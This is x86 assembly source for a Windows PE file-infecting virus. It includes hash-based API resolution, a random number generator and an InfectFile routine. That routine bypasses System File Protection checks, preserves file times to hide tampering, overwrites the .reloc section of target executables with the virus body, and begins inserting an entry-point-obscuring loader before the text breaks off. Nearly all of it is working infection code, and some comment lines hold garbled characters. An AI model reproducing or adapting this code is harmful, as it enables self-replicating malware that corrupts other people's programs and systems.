; Tries to get an API address by its CRC32 from the given ;
|
|||
|
; module export table ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : module handle ;
|
|||
|
; EDX : API's CRC32 ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; EAX : API's address ;
|
|||
|
; CF (Carry Flag) : set on error, clear on success ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
GetAPIAddress:
|
|||
|
pushad
|
|||
|
|
|||
|
mov edi, esi
|
|||
|
add esi, [edi.MZ_lfanew]
|
|||
|
add esi, 078h
|
|||
|
lodsd
|
|||
|
add eax, edi
|
|||
|
mov esi, eax
|
|||
|
|
|||
|
mov eax, [esi.ED_NumberOfNames]
|
|||
|
mov [ebp + ET_MaxNames], eax
|
|||
|
|
|||
|
mov eax, [esi.ED_AddressOfNames]
|
|||
|
add eax, edi
|
|||
|
mov [ebp + ET_PtrNames], eax
|
|||
|
|
|||
|
mov eax, [esi.ED_AddressOfFunctions]
|
|||
|
add eax, edi
|
|||
|
mov [ebp + ET_PtrAddresses], eax
|
|||
|
|
|||
|
mov eax, [esi.ED_AddressOfNameOrdinals]
|
|||
|
add eax, edi
|
|||
|
mov [ebp + ET_PtrOrdinals], eax
|
|||
|
|
|||
|
mov esi, [ebp + ET_PtrNames]
|
|||
|
mov ecx, [ebp + ET_MaxNames]
|
|||
|
xor eax, eax
|
|||
|
mov [ebp + Count], eax
|
|||
|
|
|||
|
GA_GetNamePtr:
|
|||
|
jecxz GA_Fail
|
|||
|
lodsd
|
|||
|
push esi
|
|||
|
add eax, edi
|
|||
|
mov esi, eax
|
|||
|
xor ebx, ebx
|
|||
|
|
|||
|
push ecx
|
|||
|
STRLEN
|
|||
|
call GetCRC32
|
|||
|
pop ecx
|
|||
|
cmp eax, edx
|
|||
|
jne GA_Next
|
|||
|
|
|||
|
mov ecx, [ebp + Count]
|
|||
|
|
|||
|
mov esi, [ebp + ET_PtrOrdinals]
|
|||
|
shl ecx, 1
|
|||
|
add esi, ecx
|
|||
|
xor eax, eax
|
|||
|
lodsw
|
|||
|
mov esi, [ebp + ET_PtrAddresses]
|
|||
|
shl eax, 2
|
|||
|
add esi, eax
|
|||
|
lodsd
|
|||
|
add eax, edi
|
|||
|
mov [ebp + ET_TmpAddress], eax
|
|||
|
jmp GA_Success
|
|||
|
|
|||
|
GA_Next:
|
|||
|
pop esi
|
|||
|
dec ecx
|
|||
|
inc [ebp + Count]
|
|||
|
jmp GA_GetNamePtr
|
|||
|
|
|||
|
GA_Success:
|
|||
|
pop esi
|
|||
|
popad
|
|||
|
mov eax, [ebp + ET_TmpAddress]
|
|||
|
|
|||
|
clc
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
GA_Fail:
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; GetAPIArray ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Gets an array of API addresses from the given module ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : points to an array of CRC32 values, ending with a NULL dword ;
|
|||
|
; EDI : points to destination of the address array ;
|
|||
|
; EBX : module handle ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; CF (Carry Flag) : set on error, clear on success ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
GetAPIArray:
|
|||
|
pushad
|
|||
|
|
|||
|
GAA_Loop:
|
|||
|
lodsd
|
|||
|
test eax, eax
|
|||
|
jz GAA_Success
|
|||
|
mov edx, eax
|
|||
|
push esi
|
|||
|
mov esi, ebx
|
|||
|
call GetAPIAddress
|
|||
|
jc GAA_Fail
|
|||
|
stosd
|
|||
|
pop esi
|
|||
|
jmp GAA_Loop
|
|||
|
|
|||
|
GAA_Success:
|
|||
|
popad
|
|||
|
|
|||
|
clc
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
GAA_Fail:
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; GetCRC32 ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Computes CRC32 checksum of the given data ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : pointer to data ;
|
|||
|
; ECX : size of data in bytes ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; EAX : CRC32 checksum ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
GetCRC32:
|
|||
|
pushad
|
|||
|
|
|||
|
mov edi, ecx
|
|||
|
xor ecx, ecx
|
|||
|
dec ecx
|
|||
|
mov edx, ecx
|
|||
|
|
|||
|
CRC32_NextByte:
|
|||
|
xor eax, eax
|
|||
|
xor ebx, ebx
|
|||
|
lodsb
|
|||
|
xor al, cl
|
|||
|
mov cl, ch
|
|||
|
mov ch, dl
|
|||
|
mov dl, dh
|
|||
|
mov dh, 8
|
|||
|
|
|||
|
CRC32_NextBit:
|
|||
|
shr bx, 1
|
|||
|
rcr ax, 1
|
|||
|
jnc CRC32_NoCRC
|
|||
|
xor ax, 08320h
|
|||
|
xor bx, 0EDB8h
|
|||
|
|
|||
|
CRC32_NoCRC:
|
|||
|
dec dh
|
|||
|
jnz CRC32_NextBit
|
|||
|
xor ecx, eax
|
|||
|
xor edx, ebx
|
|||
|
dec edi
|
|||
|
jnz CRC32_NextByte
|
|||
|
not edx
|
|||
|
not ecx
|
|||
|
mov eax, edx
|
|||
|
rol eax,16
|
|||
|
mov ax, cx
|
|||
|
|
|||
|
mov [ebp + CRC32], eax
|
|||
|
popad
|
|||
|
mov eax, [ebp + CRC32]
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; GetNextParam ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Moves esi pointer to next parameter in a commandline-type string ;
|
|||
|
; Uses SEH to avoid possible protection faults ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : pointer to a commandline-type string ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; ESI : points to next parameter ;
|
|||
|
; CF (Carry Flag) : set if string terminated, clear on success ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
GetNextParam:
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
|
|||
|
SETUP_SEH_HANDLER GNP_Fail
|
|||
|
|
|||
|
mov cl, 20h ; Character to match (space)
|
|||
|
GNP_SkipSpaces:
|
|||
|
lodsb ;
|
|||
|
test al, al ;
|
|||
|
jz GNP_Fail ; If al is zero, string was terminated
|
|||
|
cmp al, cl ;
|
|||
|
je GNP_SkipSpaces ; There are remaining spaces, loop on
|
|||
|
|
|||
|
cmp al, 22h ; First char is a quote?
|
|||
|
jne GNP_Find ; No: we must find a space
|
|||
|
mov cl, 22h ; Yes: we must find the closing quote
|
|||
|
|
|||
|
GNP_Find:
|
|||
|
lodsb
|
|||
|
test al, al
|
|||
|
jz GNP_Fail
|
|||
|
cmp al, cl
|
|||
|
jne GNP_Find
|
|||
|
|
|||
|
RESTORE_SEH_HANDLER
|
|||
|
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
clc
|
|||
|
ret
|
|||
|
|
|||
|
GNP_Fail:
|
|||
|
RESTORE_SEH_HANDLER
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; TryAddress ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Checks if esi points to a valid PE base address (useful to ;
|
|||
|
; find Kernel32), uses SEH to avoid possible faults, so the ;
|
|||
|
; address may be anything ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : address to try ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; CF (Carry Flag) : set on error, clear on success ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
TryAddress:
|
|||
|
pushad
|
|||
|
|
|||
|
SETUP_SEH_HANDLER TA_Fail
|
|||
|
|
|||
|
cmp word ptr [esi], 'ZM'
|
|||
|
jne TA_Fail
|
|||
|
add esi, [esi.MZ_lfanew]
|
|||
|
cmp word ptr [esi], 'EP'
|
|||
|
je TA_Success
|
|||
|
|
|||
|
TA_Success:
|
|||
|
RESTORE_SEH_HANDLER
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
clc
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
TA_Fail:
|
|||
|
RESTORE_SEH_HANDLER
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Randomizing functions
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; RNG_Init ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Initialises the Random Number Generator ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; None ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
RNG_Init:
|
|||
|
pushad
|
|||
|
|
|||
|
apicall GetTickCount
|
|||
|
mov [ebp + RndSeed_1], eax
|
|||
|
rol eax, 3
|
|||
|
mov [ebp + RndSeed_2], eax
|
|||
|
rol eax, 3
|
|||
|
mov [ebp + RndSeed_3], eax
|
|||
|
rol eax, 3
|
|||
|
mov [ebp + RndSeed_4], eax
|
|||
|
rol eax, 3
|
|||
|
mov [ebp + RndSeed_5], eax
|
|||
|
rol eax, 3
|
|||
|
mov [ebp + RndSeed_6], eax
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; RNG_GetRandom ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Returns a 32-bit random number ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; EAX : random number ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
RNG_GetRandom:
|
|||
|
push edx
|
|||
|
mov eax, [ebp + RndSeed_1]
|
|||
|
mov edx, [ebp + RndSeed_2]
|
|||
|
xor eax, [ebp + RndSeed_3]
|
|||
|
xor edx, [ebp + RndSeed_4]
|
|||
|
shrd eax, edx, 11h
|
|||
|
push eax
|
|||
|
mov eax, [ebp + RndSeed_5]
|
|||
|
mov edx, [ebp + RndSeed_6]
|
|||
|
and eax, 0FFFFFFFEh
|
|||
|
add [ebp + RndSeed_1], eax
|
|||
|
adc [ebp + RndSeed_2], edx
|
|||
|
inc dword ptr [ebp + RndSeed_3]
|
|||
|
inc dword ptr [ebp + RndSeed_4]
|
|||
|
pop eax
|
|||
|
pop edx
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; RNG_GetRandomRange ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Returns a random number from 0 to [EAX - 1] ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; EAX : maximum random number to get + 1 ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; EAX : random number ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
RNG_GetRandomRange:
|
|||
|
push ebx
|
|||
|
mov ebx, eax
|
|||
|
call RNG_GetRandom
|
|||
|
|
|||
|
RNG_R_Loop:
|
|||
|
cmp eax, ebx ; Now, keep result in the given range
|
|||
|
jl RNG_R_Ok ; It's in range, so we can return
|
|||
|
shr eax, 1 ; It's not. We divide it by 2 and
|
|||
|
jmp RNG_R_Loop ; loop to compare again
|
|||
|
|
|||
|
RNG_R_Ok:
|
|||
|
pop ebx
|
|||
|
|
|||
|
ret ; Return!
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Infection Code
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; InfectFile ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Infects a Portable Executable file by overwriting .reloc section ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : points to filename to infect ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; None ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
InfectFile:
|
|||
|
pushad
|
|||
|
|
|||
|
mov [ebp + FileName], esi
|
|||
|
mov [ebp + FileInfected], FALSE
|
|||
|
|
|||
|
mov edi, esi
|
|||
|
mov ecx, MAX_PATH
|
|||
|
xor eax, eax
|
|||
|
cld
|
|||
|
repnz scasb
|
|||
|
|
|||
|
mov eax, [edi-5]
|
|||
|
or eax, 20202000h
|
|||
|
cmp eax, 'exe.'
|
|||
|
jne IF_Quit
|
|||
|
|
|||
|
; Avoid System File Protection
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
lea edx, [ebp + szSfc] ; We have to avoid Win2K/WinME SFP
|
|||
|
push edx ; Push a pointer to library name
|
|||
|
apicall LoadLibrary ; Load it
|
|||
|
test eax, eax ; If the library doesn't exist, we
|
|||
|
jz IF_NotProtected ; can safely ignore SFP
|
|||
|
|
|||
|
lea edx, [ebp + szSfcProc] ; Pointer to function name
|
|||
|
push edx ; Push it
|
|||
|
push eax ; Push module handle
|
|||
|
apicall GetProcAddress ; Call API
|
|||
|
test eax, eax ; No function with that name, so we
|
|||
|
jz IF_NotProtected ; proceed to infection
|
|||
|
|
|||
|
push esi ; Pointer to victim's filename
|
|||
|
push NULL ; This parameter must be NULL
|
|||
|
call eax ; Call SfcIsFileProtected
|
|||
|
test eax, eax ; Not protected? Go ahead, continue
|
|||
|
jz IF_NotProtected ; with infection
|
|||
|
jmp IF_Quit ; File protected, we must quit
|
|||
|
|
|||
|
; Save file attributes and remove them
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_NotProtected:
|
|||
|
push esi ; Points to filename
|
|||
|
apicall GetFileAttributes ; Call API
|
|||
|
mov [ebp + FileAttribs], eax ; Save attributes for later use
|
|||
|
|
|||
|
push FILE_ATTRIBUTE_NORMAL ; Now we change the attributes of the
|
|||
|
push esi ; file to FILE_ATTRIBUTE_NORMAL
|
|||
|
apicall SetFileAttributes ; Call API
|
|||
|
|
|||
|
|
|||
|
; Open a handle to the file
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_OpenFile:
|
|||
|
xor eax, eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push OPEN_EXISTING
|
|||
|
push eax
|
|||
|
push FILE_SHARE_READ
|
|||
|
push GENERIC_READ or GENERIC_WRITE
|
|||
|
push esi
|
|||
|
apicall CreateFile
|
|||
|
inc eax
|
|||
|
jz IF_RestoreAttribs
|
|||
|
dec eax
|
|||
|
mov [ebp + FileHandle], eax
|
|||
|
|
|||
|
; Save creation/access/modify times
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
lea edx, [ebp + FileTime_Written]
|
|||
|
push edx
|
|||
|
lea edx, [ebp + FileTime_Accessed]
|
|||
|
push edx
|
|||
|
lea edx, [ebp + FileTime_Created]
|
|||
|
push edx
|
|||
|
push [ebp + FileHandle]
|
|||
|
apicall GetFileTime
|
|||
|
|
|||
|
; Save file size
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push NULL
|
|||
|
push [ebp + FileHandle]
|
|||
|
apicall GetFileSize
|
|||
|
mov [ebp + FileSize], eax
|
|||
|
|
|||
|
|
|||
|
; Open a file mapping object
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_CreateMapping:
|
|||
|
xor eax, eax
|
|||
|
push eax
|
|||
|
push [ebp + FileSize]
|
|||
|
push eax
|
|||
|
push PAGE_READWRITE
|
|||
|
push eax
|
|||
|
push [ebp + FileHandle]
|
|||
|
apicall CreateFileMapping
|
|||
|
test eax, eax
|
|||
|
jz IF_CloseFile
|
|||
|
mov [ebp + FileMapping], eax
|
|||
|
|
|||
|
|
|||
|
; Map a view of the file
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_CreateView:
|
|||
|
xor eax, eax
|
|||
|
push dword ptr [ebp + offset FileSize]
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push FILE_MAP_ALL_ACCESS
|
|||
|
push [ebp + FileMapping]
|
|||
|
apicall MapViewOfFile
|
|||
|
|
|||
|
test eax, eax
|
|||
|
jz IF_CloseMapping
|
|||
|
mov [ebp + FileView], eax
|
|||
|
mov esi, eax
|
|||
|
|
|||
|
; Check for MZ/PE signatures
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
cmp word ptr [esi], 'ZM'
|
|||
|
jne IF_CloseMapping
|
|||
|
add esi, [esi.MZ_lfanew]
|
|||
|
cmp word ptr [esi], 'EP'
|
|||
|
jne IF_CloseMapping
|
|||
|
|
|||
|
; Check for space for the EPO loader
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov esi, [ebp + FileView]
|
|||
|
mov edi, esi
|
|||
|
add esi, [esi.MZ_lfanew]
|
|||
|
sub esi, edi
|
|||
|
sub esi, size IMAGE_DOS_HEADER
|
|||
|
cmp esi, SIZE_EPO_LOADER
|
|||
|
jl IF_CloseView
|
|||
|
|
|||
|
|
|||
|
; Find '.reloc' section
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov esi, [ebp + FileView]
|
|||
|
add esi, [esi.MZ_lfanew]
|
|||
|
|
|||
|
movzx eax, word ptr [esi.FH_NumberOfSections]
|
|||
|
mov [ebp + File_Sections], eax
|
|||
|
|
|||
|
add esi, size IMAGE_FILE_HEADER
|
|||
|
|
|||
|
mov eax, [esi.OH_ImageBase]
|
|||
|
mov [ebp + File_ImageBase], eax
|
|||
|
|
|||
|
mov eax, [esi.OH_AddressOfEntryPoint]
|
|||
|
add eax, [ebp + File_ImageBase]
|
|||
|
mov [ebp + File_EntryPoint], eax
|
|||
|
|
|||
|
mov eax, [esi.OH_NumberOfRvaAndSizes]
|
|||
|
imul ecx, eax, size IMAGE_DATA_DIRECTORY
|
|||
|
add esi, size IMAGE_OPTIONAL_HEADER
|
|||
|
add esi, ecx
|
|||
|
|
|||
|
mov eax, [ebp + File_Sections]
|
|||
|
|
|||
|
IF_TrySection:
|
|||
|
cmp dword ptr [esi], 'ler.'
|
|||
|
jne IF_NextSection
|
|||
|
add esi, 2
|
|||
|
cmp dword ptr [esi], 'cole'
|
|||
|
jne IF_NextSection
|
|||
|
sub esi, 2
|
|||
|
jmp IF_FoundRelocs
|
|||
|
|
|||
|
IF_NextSection:
|
|||
|
dec eax
|
|||
|
test eax, eax
|
|||
|
jz IF_CloseView
|
|||
|
add esi, size IMAGE_SECTION_HEADER
|
|||
|
jmp IF_TrySection
|
|||
|
|
|||
|
IF_FoundRelocs:
|
|||
|
cmp [esi.SH_SizeOfRawData], VIRUS_SIZE
|
|||
|
jl IF_CloseView
|
|||
|
|
|||
|
cmp [esi.SH_Characteristics], IMAGE_SCN_CNT_CODE or \
|
|||
|
IMAGE_SCN_MEM_EXECUTE or \
|
|||
|
IMAGE_SCN_MEM_WRITE
|
|||
|
je IF_CloseView
|
|||
|
|
|||
|
mov [ebp + File_SectionHeader], esi
|
|||
|
mov eax, [esi.SH_VirtualAddress]
|
|||
|
mov [ebp + File_SectionRVA], eax
|
|||
|
mov eax, [esi.SH_PointerToRawData]
|
|||
|
mov [ebp + File_SectionRaw], eax
|
|||
|
mov eax, [esi.SH_SizeOfRawData]
|
|||
|
mov [ebp + File_SectionSize], eax
|
|||
|
|
|||
|
|
|||
|
; Copy virus body
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_CopyVirusBody:
|
|||
|
mov edi, [ebp + File_SectionRaw]
|
|||
|
add edi, [ebp + FileView]
|
|||
|
lea esi, [ebp + VirusStart]
|
|||
|
|
|||
|
mov ecx, VIRUS_SIZE
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov ecx, [ebp + File_SectionSize]
|
|||
|
sub ecx, VIRUS_SIZE
|
|||
|
xor eax, eax
|
|||
|
rep stosb
|
|||
|
|
|||
|
; Insert EPO loader into DOS header/stub
|
|||
|
